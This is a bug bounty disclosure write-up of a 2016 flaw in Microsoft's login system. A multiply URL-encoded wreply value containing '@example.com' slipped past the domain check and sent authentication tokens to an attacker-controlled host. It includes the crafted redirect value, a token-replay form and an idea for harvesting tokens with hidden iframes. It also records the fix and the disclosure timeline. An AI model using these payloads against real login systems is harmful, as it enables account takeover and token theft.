This is pretty similar to Wes’s awesome OAuth CSRF in Live, except it’s in the main Microsoft authentication system rather than the OAuth approval prompt.

Microsoft, being a huge company, have various services spread across multiple domains (*.outlook.com, *.live.com, and so on).

To handle authentication across these services, requests are made to login.live.com, login.microsoftonline.com, and login.windows.net to get a session for the user.

The flow for outlook.office.com is as follows:

<html>
    <head>
        <noscript>JavaScript required to sign in</noscript>
        <title>Continue</title>
        <script type="text/javascript">
            function OnBack(){}function DoSubmit(){var subt=false;if(!subt){subt=true;document.fmHF.submit();}}
        </script>
    </head>
    <body onload="javascript:DoSubmit();">
        <form name="fmHF" id="fmHF" action="https://outlook.office.com/owa/?wa=wsignin1.0" method="post" target="_self">
            <input type="hidden" name="t" id="t" value="EgABAgMAAAAEgAAAA...">
        </form>
    </body>
</html>
  • The service then consumes the token, and logs the user in.

Since the services are hosted on completely separate domains, and therefore cookies can’t be used, the token is the only value needed to authenticate as a user. This is similar-ish to how OAuth works.

What this means is that if we can get the above code to POST the value of t to a server we control, we can impersonate the user.

As expected, if we try and change the value of wreply to a non-Microsoft domain, such as example.com, we receive an error, and the request isn’t processed:

Fun with URL-Encoding and URL Parsing

One fun trick to play around with is URL-encoding parameters multiple times. Occasionally this can be used to bypass different filters, which is the root cause of the bug.

In this case, wreply is URL-decoded before the domain is checked. Therefore https%3a%2f%2foutlook.office.com%2f becomes https://outlook.office.com/, which is valid, and the request goes through.

<form name="fmHF" id="fmHF" action="https://outlook.office.com/?wa=wsignin1.0" method="post" target="_self">

What’s interesting is that when passing a value of https%3a%2f%2foutlook.office.com%252f an error is thrown, since https://outlook.office.com%2f isn’t a valid URL.

However, appending @example.com doesn’t generate an error. Instead, it gives us the following, which is a valid URL:

<form name="fmHF" id="fmHF" action="https://outlook.office.com%[email protected]/?wa=wsignin1.0" method="post" target="_self">

If you’re wondering why this is valid, it’s because the syntax of a URL is as follows:

scheme:[//[user:password@]host[:port]][/]path[?query][#fragment]

From this you can tell that the server is doing two checks:

  • The first is a sanity check on the URL, to ensure it’s valid, which it is, since outlook.office.com%2f is the username part of the URL.

  • The second is to determine if the domain is allowed. This second check should fail - example.com is not allowed.

It’s clear that server is decoding wreply n times until there are no longer any encoded characters, and then validating the domain. This sort of inconsistency is something I’m quite familiar with.

Now that we can specify an arbitrary URL to POST the token, the rest is trivial. We set the redirect to https%3a%2f%2foutlook.office.com%[email protected]%2fmicrosoft%2f%3f, which results in:

<form name="fmHF" id="fmHF" action="https://outlook.office.com%[email protected]/microsoft/?&wa=wsignin1.0" method="post" target="_self">

This causes the token to be sent to our site:

Then we simply replay the token ourselves:

<form action="https://outlook.office.com/owa/?wa=wsignin1.0" method="post">
    <input name="t" value="EgABAgMAAAAEgAAAAwAB...">
    <input type="submit">
</form>

Which then gives us complete access to the user’s account:

Note: The token is only valid for the service which issued it - an Outlook token can’t be used for Azure, for example. But it’d be simple enough to create multiple hidden iframes, each with the login URL set to a different service, and harvest tokens that way.

This was quite a fun CSRF to find and exploit. Despite CSRF bugs not having the same credibility as other bugs, when discovered in authentication systems their impact can be pretty large.

Fix

The hostname in wreply now must end in %2f, which gets URL-decoded to /.

This ensures that the browser only sends the request to the intended host.

Timeline

  • Sunday, 24th January 2016 - Issue Reported
  • Sunday, 24th January 2016 - Issue Confirmed & Triaged
  • Tuesday, 26th January 2016 - Issue Patched

From Bug Bounty Hunter, to Engineer, and Beyond

A couple weeks ago I had my last day on Facebook's Product Security team. Abittersweet moment, but one which marks a "new chapter" in my ...… Continue reading